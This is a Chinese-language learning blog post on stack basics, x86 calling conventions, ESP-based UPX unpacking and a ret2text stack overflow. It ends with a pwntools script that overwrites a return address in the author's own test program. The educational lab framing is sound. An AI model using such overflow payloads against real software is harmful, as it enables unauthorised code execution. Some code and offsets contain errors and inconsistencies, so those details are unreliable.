0x00 PWN_THeW0r1d(一) 栈溢出学习(一)

195 阅读10分钟

前言

来记录一下自己跳槽到二进制岗位的学习日常,我知道选择二进制是一条比较吃力的道路,但是我感觉我会坚持下去,加油!

0x1 栈

我记得在本科期间的数据结构中学到过栈的概念,栈是一种FILO(first in last out)的数据结构,个人感觉栈溢出的相关知识是比较重要的,所以在这里补一下栈,用C++来还原一下

定义

栈其实是一种线性表,只允许一端进行插入或者删除的线性表

image.png

这里有四个概念:

  1. 栈顶:
    栈顶(Top)一般有指针:SP存在,SP始终指向栈顶,是在内存中的低地址处
  2. 栈底: 栈底(Base)有指针BP存在,BP指向栈底,是在内存的高地址处
  3. 入栈(Push):
    将元素压入栈中的操作
  4. 出栈(Pop):
    将栈顶元素弹出的操作

下面用cpp来简单的实现下栈的相关功能: 1.栈的结构体

tydef struct{
    tydef arry[Maxsize];#typ
    int top;
}stack;

其实从定义来看不难看出栈的结构体里是由一个数组组成的,所以是线性结构,然后有一个top来存放栈顶

  1. 栈的初始化 关于栈的初始化其实就是将栈顶指针进行赋值,将其变为栈底的下一个位置,也就是-1处
void initStack(stack *s)
{
 s->top =-1 ;
 }

image.png

3.入栈操作
void Push(stack* s, int a)
{
	if (s->top == Maxsize - 1)
	{
		return -1;
	}
	s->top++;
	s->ary = a;
}

其实就是先进行判空,随后进行指针上移,接着赋值
4.出栈操作 出栈操作跟入栈其实是一样的

int  Pop(stack* s, int* a)
{
	if (s->top == -1)
	{
		return ERROR;
	}
	*a = s->ary[s->top];
	s->top--;

}

先进行判空操作,随后将栈顶元素存在指针a所指向的内存里,这里用指针保留栈的元素,可以少引用一个变量

0x2函数调用

这里的调用我想借用<<0day安全>>书里的来理解,首先我们先来看一段程序:

#include<iostream>
int func_b(int b_1, int b_2)
{
	return b_1 * b_2;
}
int func_a(int a_1, int a_2)
{
	int c = func_b(a_1, a_2);
		return c;
}
int main()
{
	int var_main;
	var_main = func_a(4, 2);
	return var_main;
}

我们要搞清楚这个函数的调用方式是什么样子的呢? 简单的去理解一下,基本上是:
main()->func_a(4,2)->func_b();
那么这个程序在运行途中栈的分布是怎样的呢? 当func_b()执行完毕后,返回的结果给了func_A(),如何让func_A()执行呢? 这里的栈就有说法了
合乎常理的说是func_b的返回地址被压入了栈中,通过pop()的形式去给了寄存器,然后去让ip指针读取寄存器,后进行函数执行的
那么我们如何去使用栈可以使其比较好的去返回并且读取参数呢?

在main函数调用之前,其实还有其他的调用,main函数并不是第一个被调用的函数,这里我们不做过于深入的讨论,只讨论main函数的栈帧

main函数的栈帧上,在调用func_a()的时候,会先push bp指针 随后,在push之后压入返回地址,即func_a函数执行完毕后返回到的main函数的地址.随后,push参数进去

如图:

image.png

在函数的栈中一般保存以下信息:

  1. 局部变量
  2. 栈帧状态:用于恢复栈的平衡
  3. 返回地址 我们来看一下几种函数调用方式:

_cdecl:参数入栈顺序为从右到左,恢复栈帧平衡的位置为子函数 _fastcall:参数入栈顺序为从右到左,恢复栈平衡的位置为子函数 _stdcall:参数入栈的顺序为从右到左,恢复栈平衡的位置为母函数

那么问题来了
什么是堆栈平衡?
我想从汇编角度去说

0x3 堆栈平衡

个人认为的堆栈平衡就是在调用后为了能够顺利的返回主调函数所作的一些列操作,让栈恢复原样操作 那么我想从上面几种函数调用里来看一下具体的堆栈是如何平衡的: 先看一下:

  1. _cdecl: _cdecl调用的规则贵 参数入栈从右到左,子函数恢复栈 (调用函数恢复) 编写以下代码:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
int _cdecl add(int x, int y)
{
	return x + y;
}
int main()
{
	__asm mov eax, eax;
	add(1, 2);
	return 0;
}

并且再 __asm处下断点
观察汇编情况 如下:

	__asm mov eax, eax;
00B217E7  mov         eax,eax  
00B217E9  push        2  
00B217EB  push        1  
00B217ED  call        add (0B213B6h)  
00B217F2  add         esp,8  
	add(1, 2);

可以看到先进行了参数入栈 将2 1 按照从右到左的顺序push到栈中,随后 sp指针到了bp-8处 然后执行了call指令 调用了add函数 并且再后面的部分进行了 add esp ,8进行平栈操作,这是因为在进行push操作时,sp指针通过移动造成了sp-8的效果(x86)随后在这调用后进行平栈

  1. _stdcall: 我们做如下的代码编写:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
int _stdcall add(int x, int y)
{
	return x + y;
}
int main()
{
	__asm mov eax, eax;
	add(1, 2);
	return 0;
}

也是在asm处下断点,进行观察:

image.png

可以看到这里的push之后,没有立马进行add esp,8的操作 然后我们进行f11进行步入add函数进行观察:

int _stdcall add(int x, int y)
{
00851770  push        ebp  
00851771  mov         ebp,esp  
00851773  sub         esp,0C0h  
00851779  push        ebx  
0085177A  push        esi  
0085177B  push        edi  
0085177C  mov         edi,ebp  
0085177E  xor         ecx,ecx  
00851780  mov         eax,0CCCCCCCCh  
00851785  rep stos    dword ptr es:[edi]  
00851787  mov         ecx,offset _6728472F_call@cpp (085C008h)  
0085178C  call        @__CheckForDebuggerJustMyCode@4 (0851320h)  
00851791  nop  
	return x + y;
00851792  mov         eax,dword ptr [x]  
00851795  add         eax,dword ptr [y]  
}
00851798  pop         edi  
00851799  pop         esi  
0085179A  pop         ebx  
0085179B  add         esp,0C0h  
008517A1  cmp         ebp,esp  
008517A3  call        __RTC_CheckEsp (0851244h)  
008517A8  mov         esp,ebp  
008517AA  pop         ebp  
008517AB  ret         8  

可以看到这里的平栈是在函数的内部,也就是__stdcall约定是函数内部自身进行平栈。
3._fastcall: 我们编写以下代码;

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
int _fastcall add(int x, int y)
{
	return x + y;
}
int main()
{
	_asm mov eax, eax;
	add(1, 2);
	return 0;
}

然后老样子进行查看:

image.png

啊嘞,没有

add esp,8 那进去看看?

image.png

直到这里位置,好像也没有平栈操作 不玩了,调个p 为啥没有呢? 仔细看 __fastcall 调用没有使用堆栈,而是使用的寄存器,将数直接交给寄存器来处理,所以不用 但是当参数变多的时候,会不会发生变化? 做以下代码处理,将参数提升到4个后继续查看:

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
int _fastcall add(int a, int b ,int c,int d )
{
	return a + b + c + d;
}
int main()
{
	_asm mov eax, eax;
	add(1, 2,3,4);
	return 0;
}

可以看到这里也是没有进行函数外部平栈的

image.png

步入进函数内部查看:

image.png 可以看到这里与之前的参数少的时候不同,这里使用了堆栈,也使用了寄存器.因此毫无疑问的后面是存在ret指令的

image.png

查了下相关资料: __fastcall: 快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。因为栈是位于内存的区域,而寄存器位于CPU内,故存取方式快于内存,故其名曰“__fastcall”。```

果然如此!不愧为fast

那么再来几个例子写一下堆栈平衡吧

我们通过简单的三种调用方式的跟踪,了解了堆栈平衡的最初摸样,我觉得离不开esp定律

0x5 esp定律

关于esp定律,其实在脱壳中常用到,接下来使用52pj论坛里的一个upx壳来说明

image.png

很经典的一个ui,让我们使用peid来看一下

image.png

是属于upx壳,然后将其载入OD

image.png

先进行了push ad 操作 将寄存器都压入了栈中,在后续的步入中,发现esp寄存器变红,是被下了断点,但是在其最后恢复的时候这个断点是要被取消掉的,所以利用这点我们可以进行脱壳,BTW:call指令其实是这样的:

push eip
jmp near ptr add 

在执行call时先将下一个执行的指令存入栈中,随后执行跳转

好了来脱壳吧: 首先将使用指令dd esp 随后将其地址打上断点 访问执行 DWORD

image.png

随后f9进行运行后 达到断点后 f8即可看到pushebp
随后使用od的dump,即可完成脱壳

image.png image.png image.png

0x5 栈溢出

我们先来考虑Linux下的栈溢出,也就是简单的ret2text部分吧 先来自己写一段程序:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already learned it "); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

很显然,不限制gets函数的输入会导致其栈溢出,那么我们该如何利用呢? 先进行编译吧

image.png 编译后进行checksec

image.png 没开启栈保护,那么就可以利用 将其载入IDA查看逻辑:

image.png

跟进

image.png
get函数导致栈溢出 我们可以利用其函数调用来进行获取后门函数,首先这是c语言,c语言的调用约定是_cdecl 是在函数外部恢复栈的,因此我们要覆盖到其返回地址处. 调用时

push ebp
jmp  ptr=>vulnerable

随后进行vulnerable的栈:
可以看字符串s的位置为ebp向上14的位置处
这个时候栈的构成为:
最下面是上个函数在进行调用vulnerable函数时所push的ebp
随后进行的时vulnerable函数的栈帧,是从ebp开始到ebp+14处的s,s占了14个位置,因此我们只需要这样构造:
先用垃圾数据填满字符串s,随后将vulnerable函数的ebp覆盖掉,随后就可以覆盖调用时所push的ebp了 即:

'a' * 14 +'dead'+p32(后门函数的地址)即可获取权限 我们通过IDA也可以观察到success函数的地址.

image.png 随后开始进行构造:

from pwn import *
sh = process('./test')
backdoor=0x000011AD
payload = b'a'*0x14 + b'dead' + p32(backdoor)
sh.sendline(payload)
sh.interactive()

成功!

image.png
这篇文章的栈溢出只做了初步探讨,接下来将通过ctf题目的形式来进行讲解
请期待:0x00 PWN_THeW0r1d(一) 栈溢出学习(一)